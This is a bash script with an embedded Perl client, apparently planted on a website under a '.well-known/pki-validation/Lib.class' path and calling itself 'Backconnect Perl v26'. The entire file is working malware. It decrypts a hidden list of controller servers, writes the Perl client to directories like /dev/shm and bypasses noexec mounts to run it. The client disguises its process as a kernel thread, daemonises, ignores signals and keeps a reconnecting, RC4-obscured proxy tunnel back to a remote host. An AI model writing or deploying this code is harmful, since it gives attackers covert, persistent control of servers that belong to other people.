/home/fdhrevqn/new.fdhrd.org/.well-known/pki-validation/Lib.class
#!/bin/bash
# Backconnect Perl v26 FINAL - All features + All fixes
# BCPL_MARKER - unique identifier for pgrep isolation
N="bcpl";D=3;PD=""

# Encrypted server data (fill after using -e)
ENC_DATA="545941565b5a435b5d5c5e5b555c5b47544f5c52405d58574b4b574054535e49535b5c445d594350504741575d485e4655555b505d4f5e544b405a5b4b5f575d565a5c5e5a5b5e425644415c5053414a5f415e515a55595656525c584b545a464956574a5f5a585851465c4e56504141525a415d56415c5753485b5a56465c45495d5a514056554c5447585451525c53545941565b5a435b5d5c5e5b5d5c5b47544f5c52405d58574b4b574054535649535b5c445d594350504741575d485e4557555b505d4f5e544b405a5b4b5f575d56595e5e5a5b5e425644415c5053414a5f415e525c55595656525c584b545a464956574a5f595e5851465c4e56504141525a415d56415c5451485b5a56465c45495d5a514056554c54445a5451525c53545941565b5a435b5d5c5e58535c5b47544f5c52405d58574b4b574054505849535b5c445d594350504741575d485e455f555b505d4f5e544b405a5b4b5f575d5659565e5a5b5e425644415c5053414a5f415e535e55595656525c584b545a464956574a5f585c5851465c4e56504141525a415d56415c5557485b5a56465c45495d5a514056554c54455c5451525c53545941565b5a435b5d5c5e59515c5b47544f5c52405d58574b4b574054515a49535b5c445d594350504741575d485e4451555b505d4f5e544b405a5b4b5f575d5658585e5a5b5e425644415c5053414a5f415e535655595656525c584b545a464956574a5f58545851465c4e56504141525a415d56415c5a55485b5a56465c45495d5a514056554c544a5e5451525c53545941565b5a435b5d5c5e56575c5b47544f5c52405d58574b4b5740545e5c49535b5c445d594350504741575d485e4b53555b505d4f5b504b445f4054555e5d5658575e5a5b5e425340415855485e4056415e53575559565652595c4b505f5d565c5e4a5f575d5851465c4e5354414557415e575f415c5a54485b5a5646594149595f4a5f5c5c4c544a5d5451525c53515d41525e415c51545c5e56565c5b47544f595640595d4c54415e40545e5b49535b5c44585d4354555c5e5d54485e4b52555b505d4f5b504b445f4054555e5d5657595e5a5b5e425340415855485e4056415e5c595559565652595c4b505f5d565c5e4a5f57555851465c4e5354414557415e575f415c5a5c485b5a5646594149595f4a5f5c5c4c544b5f5451525c53515d41525e415c51545c5e57545c5b47544f595640595d4c54415e40545f5d49535b5c44585d4354555c5e5d54485e4a54555b505d4f5b504b445f4054555e5d56565b5e5a5b5e425340415855485e4056415e5d5b5559565652595c4b505f5d565c5e4a5f565b5851465c4e5354414557415e575f415c5b52485b5a5646594149595f4a5f5c5c4c544b575451525c53515d41525e415c51545c5e575c5c5b47544f595640595d4c54415e4057565f49535b5c44585d4354555c5e5d54485d4356555b505d4f5b504b445f4054555e5d555f5d5e5a5b5e425340415855485e4056415d545d5559565652595c4b505f5d565c5e4a5c5f595851465c4e5354414557415e575f415f5250485b5a5646594149595f4a5f5c5c4c57475c5451525c"

# ═══════════════════════════════════════════════════════════════════════
#                         HELPER FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════

get_arch() {
    local arch=$(uname -m 2>/dev/null || echo "x86_64")
    case "$arch" in
        x86_64|amd64)     echo "x86_64" ;;
        aarch64|arm64)    echo "aarch64" ;;
        i686|i386|i586)   echo "i686" ;;
        armv7l|armhf)     echo "armv7" ;;
        *)                echo "x86_64" ;;
    esac
}

find_writable() {
    local dirs=(
        "/tmp" "/var/tmp" "/dev/shm" "/run"
        "/run/user/$UID" "/run/user/$(id -u 2>/dev/null)"
        "$HOME" "${TMPDIR:-}" "${TEMP:-}" "${TMP:-}"
        "/usr/tmp" "/var/cache" "." "$PWD" "$(dirname "$0" 2>/dev/null)"
    )
    for d in "${dirs[@]}"; do
        [ -z "$d" ] && continue
        [ ! -d "$d" ] && continue
        local tf="$d/.${N}_test_$$"
        if touch "$tf" 2>/dev/null; then
            rm -f "$tf" 2>/dev/null
            echo "$d/.$N"
            return 0
        fi
    done
    echo ""
    return 1
}

find_perl() {
    local perls=(
        "perl"
        "/usr/bin/perl"
        "/usr/local/bin/perl"
        "/opt/perl/bin/perl"
        "/opt/local/bin/perl"
        "/bin/perl"
        "/usr/pkg/bin/perl"
        "$HOME/perl5/bin/perl"
    )
    
    for p in "${perls[@]}"; do
        local pbin=""
        if command -v "$p" &>/dev/null; then
            pbin="$p"
        elif [ -x "$p" ]; then
            pbin="$p"
        fi
        
        if [ -n "$pbin" ]; then
            if "$pbin" -e 'use threads;' 2>/dev/null; then
                echo "$pbin"
                return 0
            fi
        fi
    done
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════
#                       ENCRYPTION FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════

xc() { 
    local k="$1" d="$2" o="" i=0
    local kl="${#k}"
    [ "$kl" -eq 0 ] && { echo ""; return; }
    while [ $i -lt ${#d} ]; do
        local dc="${d:$i:2}"
        [ ${#dc} -lt 2 ] && break
        local db=$((16#$dc))
        local ki=$((i/2%kl))
        local kb=$(printf '%d' "'${k:$ki:1}")
        local xb=$((db^kb))
        o+=$(printf '%02x' $xb)
        i=$((i+2))
    done
    echo "$o"
}

s2h() { 
    local s="$1" o="" i
    for ((i=0;i<${#s};i++)); do 
        o+=$(printf '%02x' "'${s:$i:1}")
    done
    echo "$o"
}

h2s() { 
    local h="$1" o="" i
    for ((i=0;i<${#h};i+=2)); do 
        o+=$(printf "\\x${h:$i:2}")
    done
    echo -e "$o"
}

enc_srv() { 
    local k="$1"; shift
    echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""
}

dec_srv() { 
    [ -z "$2" ] && return
    h2s "$(xc "$1" "$2")"
}

# ═══════════════════════════════════════════════════════════════════════
#                      PROCESS MANAGEMENT
# ═══════════════════════════════════════════════════════════════════════

fp() { 
    pgrep -f "BCPL_MARKER.*$1.*$2" 2>/dev/null
}

kt() { 
    local pids=$(fp "$1" "$2")
    [ -z "$pids" ] && return 0
    echo "$pids" | xargs -r kill -15 2>/dev/null
    sleep 0.5
    echo "$pids" | xargs -r kill -9 2>/dev/null
    sleep 0.3
}

ka() { 
    local pids=$(pgrep -f "BCPL_MARKER" 2>/dev/null)
    if [ -n "$pids" ]; then
        echo "$pids" | xargs -r kill -15 2>/dev/null
        sleep 1
        pgrep -f "BCPL_MARKER" 2>/dev/null | xargs -r kill -9 2>/dev/null
    fi
    [ -n "$PD" ] && rm -f "$PD"/*.pl "$PD"/*.pid 2>/dev/null
    [ -n "$PD" ] && rmdir "$PD" 2>/dev/null
    echo "All Perl clients killed"
    exit 0
}

st() { 
    echo "═══════════════════════════════════════════"
    echo "  Backconnect Perl v26 Status"
    echo "═══════════════════════════════════════════"
    echo "  Perl:      $PERL"
    echo "  Version:   $($PERL -v 2>/dev/null | grep -o 'v[0-9.]*' | head -1)"
    echo "  Threads:   $($PERL -e 'use threads; print "yes"' 2>/dev/null || echo "no")"
    echo "  Directory: ${PD:-<none>}"
    echo "  ENC_DATA:  ${ENC_DATA:+SET (${#ENC_DATA} chars)}"
    [ -z "$ENC_DATA" ] && echo "  ENC_DATA:  <empty>"
    echo "───────────────────────────────────────────"
    echo "  Running processes:"
    
    local count=0
    if [ -n "$PD" ] && [ -d "$PD" ]; then
        for f in "$PD"/*.pid; do 
            [ -f "$f" ] || continue
            local p=$(cat "$f" 2>/dev/null)
            local n=$(basename "$f" .pid)
            if [ -n "$p" ] && kill -0 "$p" 2>/dev/null; then
                if grep -q "BCPL_MARKER" /proc/$p/cmdline 2>/dev/null; then
                    echo "    ✓ $n (PID $p)"
                    count=$((count+1))
                fi
            fi
        done
    fi
    [ $count -eq 0 ] && echo "    (none)"
    echo "═══════════════════════════════════════════"
    exit 0
}

ir() { 
    pgrep -f "BCPL_MARKER.*$1.*$2" >/dev/null 2>&1 && return 0
    [ -z "$PD" ] && return 1
    local pidf="$PD/${1}_${2}.pid"
    [ -f "$pidf" ] || return 1
    local p=$(cat "$pidf" 2>/dev/null)
    [ -z "$p" ] && return 1
    kill -0 "$p" 2>/dev/null || return 1
    grep -q "BCPL_MARKER" /proc/$p/cmdline 2>/dev/null
}

# ═══════════════════════════════════════════════════════════════════════
#                         SPAWN FUNCTION
# ═══════════════════════════════════════════════════════════════════════

spawn() {
    local host="$1" port="$2" id="$3"
    
    if [ -z "$PD" ]; then
        echo "No writable directory found"
        return 1
    fi
    
    mkdir -p "$PD" 2>/dev/null
    local pidf="$PD/${id}.pid"
    local plf="$PD/${id}.pl"
    
    cat > "$plf" << 'PERLEND'
#!/usr/bin/perl
# BCPL_MARKER - DO NOT REMOVE
use strict;use warnings;use Socket;use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;use Fcntl qw(:flock);use threads;use threads::shared;use POSIX qw(setsid);
my $host=$ARGV[0]||'127.0.0.1';my $port=$ARGV[1]||443;my $pidf=$ARGV[2]||'';
my $reconnect_delay:shared=5;my $max_reconnect_delay=60;
sub get_proc_name{my @n=('kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd');
my @s=('','/0','/1','/0:0');return $n[rand@n].$s[rand@s];}
my $pn=get_proc_name();
eval{if(open(my $fh,'>','/proc/self/comm')){print $fh substr($pn,0,15);close($fh);}};
fork and exit;setsid();fork and exit;
open(STDIN,'<','/dev/null');open(STDOUT,'>','/dev/null');open(STDERR,'>','/dev/null');
if($pidf){open(my $pf,'>',$pidf);print $pf $$;close($pf);}
$SIG{HUP}=$SIG{TERM}=$SIG{INT}=$SIG{PIPE}='IGNORE';
my $xordata="\x00"x50;for(my $i=0;$i<50;$i++){substr($xordata,$i,1)=pack('C',rand(255));}
sub Rc4_crypt{my $passw=shift;my $length=shift;my $buff0=shift;my $start=shift;my $sz=shift;
my $rc4="\x00"x256;my($p0,$p1,$p2,$p3,$p4,$p5,$p6,$p7,$p8)=(0,0,0,0,0,0,0,0,0);
my $rcx=$sz;my $rsi=0;my $rbx=0;my $gs=0;my $t=0;
for(my $i=0;$i<=255;$i++){substr($rc4,$i,1)=pack('C',$i);}
do{substr($$buff0,$start+$rsi,1)=pack('C',(unpack('C',substr($$buff0,$start+$rsi,1))^unpack('C',substr($$passw,$rbx,1))));
$rsi++;$rbx++;$rcx--;if($rbx==$length){$rbx=0;}}while($rcx>0);
while(1){if($gs==0){$p2=0;$p3=$length;}if($gs!=0){$gs=0;$p2++;if(--$p3==0){next;}}
$p7=unpack('C',substr($rc4,$p0,1));$t=unpack('C',substr($$passw,$p2,1));
$p1+=$t;$p1=$p1&255;$p1+=$p7;$p1=$p1&255;$p6=unpack('C',substr($rc4,$p1,1));
substr($rc4,$p0,1)=pack('C',$p6);substr($rc4,$p1,1)=pack('C',$p7);
$p0++;$p0=$p0&255;if($p0!=0){$gs=1;next;}$p4=$sz;$p1=0;$p0=0;$p2=0;$p3=0;
while(1){$p2++;$p2=$p2&255;$p7=unpack('C',substr($rc4,$p2,1));$p1+=$p7;$p1=$p1&255;
$p8=unpack('C',substr($rc4,$p1,1));substr($rc4,$p2,1)=pack('C',$p8);
substr($rc4,$p1,1)=pack('C',$p7);$p8+=$p7;$p8=$p8&255;
$p0=unpack('C',substr($rc4,$p8,1));$p5=unpack('C',substr($$buff0,$start+$p3,1));
$p5=$p5^$p0;substr($$buff0,$start+$p3,1)=pack('C',$p5);$p3++;if(--$p4==0){last;}}last;}
$rsi=0;$rcx=$sz;$rbx=0;
do{substr($$buff0,$start+$rsi,1)=pack('C',(unpack('C',substr($$buff0,$start+$rsi,1))^unpack('C',substr($$passw,$rbx,1))));
$rsi++;$rbx++;$rcx--;if($rbx==$length){$rbx=0;}}while($rcx>0);}
sub synsend{my $cSocket=shift;my $buffer=shift;my $flags=shift;
open(my $fh,"<",'/dev/null');flock($fh,LOCK_EX);send($cSocket,$buffer,$flags);flock($fh,LOCK_UN);close($fh);}
sub newConnection{my $num=shift;my $socketarray=shift;my $sSocket=shift;my $cSocket=shift;my $buff0=shift;
threads->create(sub{my $responce=pack('C',$num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain='';my $port=0;my $_ret=0;my $data='';my $buffer='';
setsockopt($cSocket,IPPROTO_TCP,TCP_NODELAY,1);fcntl($cSocket,F_SETFL,O_NONBLOCK);
if(unpack('C',substr($buff0,7,1))==3){$domain=substr($buff0,9,unpack('C',substr($buff0,8,1)));
$port=unpack('S',substr($buff0,9+unpack('C',substr($buff0,8,1))+1,1).substr($buff0,9+unpack('C',substr($buff0,8,1))+0,1));}
elsif(unpack('C',substr($buff0,7,1))==1){$domain=sprintf("%d.%d.%d.%d",unpack('C',substr($buff0,8+0,1)),
unpack('C',substr($buff0,8+1,1)),unpack('C',substr($buff0,8+2,1)),unpack('C',substr($buff0,8+3,1)));
$port=unpack('S',substr($buff0,12+1,1).substr($buff0,12+0,1));}else{goto close_;}
eval{my $paddr=sockaddr_in($port,inet_aton($domain));connect($cSocket,$paddr);
vec(my $win='',fileno($cSocket),1)=1;unless(select(undef,$win,undef,15)){goto close_;}
fcntl($cSocket,F_SETFL,0);substr($responce,4,1)="\x00";$_ret=1;};
close_:Rc4_crypt(\$xordata,50,\$responce,0,3);Rc4_crypt(\$xordata,50,\$responce,3,10);
synsend($sSocket,$responce,0);Rc4_crypt(\$xordata,50,\$responce,0,3);
if($_ret==1){while($$socketarray[$num]==1){vec(my $rin='',fileno($cSocket),1)=1;
unless(select($rin,undef,undef,1)){next;}$data='';recv($cSocket,$data,65530,0);unless($data){last;}
$buffer=pack('C',$num).pack('S',length($data)).$data;Rc4_crypt(\$xordata,50,\$buffer,0,3);
Rc4_crypt(\$xordata,50,\$buffer,3,length($data));synsend($sSocket,$buffer,0);}}
$$socketarray[$num]=0;close($cSocket);substr($responce,1,2)="\x00\x00";
Rc4_crypt(\$xordata,50,\$responce,0,3);synsend($sSocket,substr($responce,0,3),0);threads->detach();});}
sub bccnct{my $h=shift;my $p=shift;my $remaining=0;my $remaining4=0;my @socketarr;my @socketarray:shared;
my $buffer="\x00"x100;my $buffernull="\x00"x3;my $buffer0='';my $isExit=0;my $ecx=0;my $eax=0;
my $data='';my $_ret=0;my $ebx=0;my $edx=0;my $connected=0;
socket($socketarr[0],PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt($socketarr[0],IPPROTO_TCP,TCP_NODELAY,1);
my $paddr=sockaddr_in($p,inet_aton($h));unless(connect($socketarr[0],$paddr)){goto close0;}
substr($buffer,0,50)=$xordata;substr($buffer,50,2)="\xFF\xFF";substr($buffer,54,4)="Perl";
Rc4_crypt(\$xordata,50,\$buffer,50,50);send($socketarr[0],$buffer,0);$connected=1;$reconnect_delay=5;
while(1){if($remaining4!=4){vec(my $rin='',fileno($socketarr[0]),1)=1;my $ret=select($rin,undef,undef,60);
next if($ret<0);if($ret==0){last if(substr($buffernull,0,3)ne"\x00\x00\x00");last if($remaining!=0);
last if($remaining4!=0);Rc4_crypt(\$xordata,50,\$buffernull,0,3);synsend($socketarr[0],$buffernull,0);
$buffernull="\x00"x3;next;}}if($remaining!=0||$remaining4==4){if($edx==0){
if(substr($buffer0,0,1)eq"\xFF"&&substr($buffer0,1,1)eq"\xFE"){$isExit=1;last;}
elsif($ebx<200&&$ebx>0){$socketarray[$ebx]=0;}}else{$ecx=$edx;$ecx=$ecx-$remaining;$data='';
recv($socketarr[0],$data,$ecx,0);unless($data){last;}$remaining+=length($data);$buffer0.=$data;
if($edx==$remaining){Rc4_crypt(\$xordata,50,\$buffer0,4,$remaining);
if(unpack('C',substr($buffer0,0,1))==0){if($ebx<200&&$ebx>0){
socket($socketarr[$ebx],PF_INET,SOCK_STREAM,getprotobyname('tcp'));$socketarray[$ebx]=1;
newConnection($ebx,\@socketarray,$socketarr[0],$socketarr[$ebx],$buffer0);}}
else{if($ebx<200&&$ebx>0){send($socketarr[$ebx],substr($buffer0,4,$remaining),0);}}$remaining=0;}}$remaining4=0;}
else{if($remaining4==0){$buffer0='';}$eax=4;$eax=$eax-$remaining4;$data='';
recv($socketarr[0],$data,$eax,0);unless($data){last;}$remaining4+=length($data);$buffer0.=$data;
$buffernull="\x00"x3;if($remaining4==4){Rc4_crypt(\$xordata,50,\$buffer0,0,4);
$ebx=unpack('C',substr($buffer0,1,1));$edx=unpack('S',substr($buffer0,2,2));$_ret=1;}}}
close0:close($socketarr[0]);for(my $i=0;$i<200;$i++){$socketarray[$i]=0;}
if(!$connected){$reconnect_delay=$reconnect_delay*1.5;$reconnect_delay=$max_reconnect_delay if $reconnect_delay>$max_reconnect_delay;}
sleep $reconnect_delay;if($isExit==1){exit;}return $_ret;}
while(1){eval{bccnct($host,$port);};if($@){$reconnect_delay=$reconnect_delay*1.5;
$reconnect_delay=$max_reconnect_delay if $reconnect_delay>$max_reconnect_delay;sleep $reconnect_delay;}}
PERLEND

    chmod +x "$plf" 2>/dev/null
    
    # Method 1: Direct execution
    "$PERL" "$plf" "$host" "$port" "$pidf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    # Method 2: Via stdin (bypass noexec)
    "$PERL" - "$host" "$port" "$pidf" < "$plf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    # Method 3: Via pipe
    cat "$plf" | "$PERL" - "$host" "$port" "$pidf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════
#                           INITIALIZATION
# ═══════════════════════════════════════════════════════════════════════

PD="$(find_writable)"
PERL="$(find_perl)"

if [ -z "$PERL" ]; then
    echo "ERROR: No Perl with threads found"
    echo "Searched: perl, /usr/bin/perl, /usr/local/bin/perl, etc."
    echo "Make sure perl is installed with threads support"
    exit 1
fi

# ═══════════════════════════════════════════════════════════════════════
#                          MAIN LOGIC
# ═══════════════════════════════════════════════════════════════════════

SRV=();FORCE=0

case "${1:-}" in
-h|--help)
    echo "Backconnect Perl v26 FINAL"
    echo ""
    echo "Usage: $0 [options] [server:port ...]"
    echo ""
    echo "Options:"
    echo "  -e KEY srv:port...  Encrypt server list"
    echo "  -d KEY [-f]         Decrypt ENC_DATA and run"
    echo "  -k                  Kill all Perl clients"
    echo "  -s                  Show status"
    echo "  -f                  Force restart"
    echo "  -h, --help          Show this help"
    echo ""
    echo "Examples:"
    echo "  $0 server.com:443                    # Direct run"
    echo "  $0 srv1:443 srv2:8080 srv3:443       # Multiple servers"
    echo "  $0 -e mykey srv1:443 srv2:443        # Encrypt servers"
    echo "  $0 -d mykey                          # Decrypt and run"
    echo "  $0 -d mykey -f                       # Decrypt + force restart"
    echo ""
    echo "Current config:"
    echo "  Perl: $PERL"
    echo "  Dir:  ${PD:-<none>}"
    exit 0
    ;;
-k) ka ;;
-s) st ;;
-e)
    [ -z "$2" ] && { echo "Usage: $0 -e KEY server:port [server:port ...]"; exit 1; }
    K="$2"; shift 2
    [ $# -eq 0 ] && { echo "ERROR: No servers specified"; exit 1; }
    enc_srv "$K" "$@"
    echo ""
    echo "Now insert this line into the script (replace ENC_DATA=\"\")"
    echo "Then run: $0 -d $K"
    exit 0
    ;;
-d)
    [ -z "$2" ] && { echo "Usage: $0 -d KEY [-f]"; exit 1; }
    K="$2"; shift 2
    [ "${1:-}" = "-f" ] && { FORCE=1; shift; }
    if [ -z "$ENC_DATA" ]; then
        echo "ERROR: ENC_DATA is empty"
        echo ""
        echo "You need to:"
        echo "  1. Run: $0 -e KEY server:port..."
        echo "  2. Copy the output ENC_DATA=\"...\" into this script"
        echo "  3. Then run: $0 -d KEY"
        exit 1
    fi
    DE=$(dec_srv "$K" "$ENC_DATA")
    if [ -z "$DE" ]; then
        echo "ERROR: Decryption failed"
        echo "  ENC_DATA length: ${#ENC_DATA}"
        echo "  KEY length: ${#K}"
        echo ""
        echo "Make sure you use the same key for -e and -d"
        exit 1
    fi
    for s in $DE; do 
        [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443")
    done
    ;;
-f)
    FORCE=1; shift
    for a in "$@"; do 
        [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
    done
    ;;
*)
    for a in "$@"; do 
        [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
    done
    ;;
esac

[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h for help"; exit 1; }

mkdir -p "$PD" 2>/dev/null
c=0
for s in "${SRV[@]}"; do
    h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
    c=$((c+1))
    
    if ir "$h" "$p"; then
        if [ "$FORCE" = "1" ]; then
            printf "[%d/%d] %s:%s replacing... " "$c" "${#SRV[@]}" "$h" "$p"
            kt "$h" "$p"
            sleep 0.5
        else
            echo "[$c/${#SRV[@]}] $h:$p already running (use -f to restart)"
            [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
            continue
        fi
    else
        printf "[%d/%d] %s:%s " "$c" "${#SRV[@]}" "$h" "$p"
    fi
    
    spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
    [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done. Use -s for status."